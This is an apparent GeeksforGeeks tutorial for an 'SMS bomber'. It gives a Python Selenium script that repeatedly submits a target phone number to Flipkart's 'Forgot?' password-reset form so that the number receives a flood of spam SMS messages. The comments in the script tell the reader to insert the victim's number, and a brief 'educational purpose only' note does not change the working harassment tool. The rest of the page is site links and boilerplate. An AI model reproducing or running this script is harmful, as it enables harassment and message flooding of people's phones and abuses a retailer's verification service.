Python | SMS Bomber using Selenium
Here, we are going to learn a simple SMS bomber trick (for fun and educational purpose). Selenium is a free tool for automated testing across different browsers. In this tutorial, we will learn to send automatically number of spam SMS for given number of frequency and interval.
Requirement:
You need to install chromedriver and set path. Click here to download.
Below are the steps:
- First go to flipkart website using this Link.
- Then click on inspect element by pressing
ctrl + shift + ior going in setting of browser and clicking on inspect element manually. - Then find the class name of “Enter the number” input field and “Forgot?” link. We will use it later.


- Now, Run the script by putting appropriate class name for each element.
- Now it will automatically send spam sms to your friend’s mobile number.
Note: This tutorial is for educational purpose only, please don’t use it for disturbing anyone or any unethical way.
Below is the implementation:
from selenium import webdriver import time # create instance of Chrome webdriver browser = webdriver.Chrome() # set the frequency of sms frequency = 10 # target mobile number, change it to victim's number and # also ensure that it's registered on flipkart mobile_number ="1234567890" for i in range(frequency): # find the element where we have to # enter the number using the class name number = browser.find_element_by_class_name('_2zrpKA') # automatically type the target number number.send_keys("1234567890") # find the element to send a forgot password # request using it's class name forgot = browser.find_element_by_link_text('Forgot?') # clicking on that element forgot.click() # set the interval to send each sms time.sleep(10) # Close the browser browser.quit() |
Recommended Posts:
- Selenium Python Tricks
- Why do people prefer Selenium with Python?
- Like instagram pictures using Selenium | Python
- Non blocking wait in selenium using Python
- How to access popup login window in selenium using Python
- Python | Automating Happy Birthday post on Facebook using Selenium
- Browser Automation Using Selenium
- Find Web Elements using Selenium WebDriver
- Software Engineering | Selenium: An Automation tool
- Python | Merge Python key values to list
- Important differences between Python 2.x and Python 3.x with examples
- Python | Index of Non-Zero elements in Python list
- Reading Python File-Like Objects from C | Python
- Python | Add Logging to a Python Script
- Python | Add Logging to Python Libraries
If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please Improve this article if you find anything incorrect by clicking on the "Improve Article" button below.



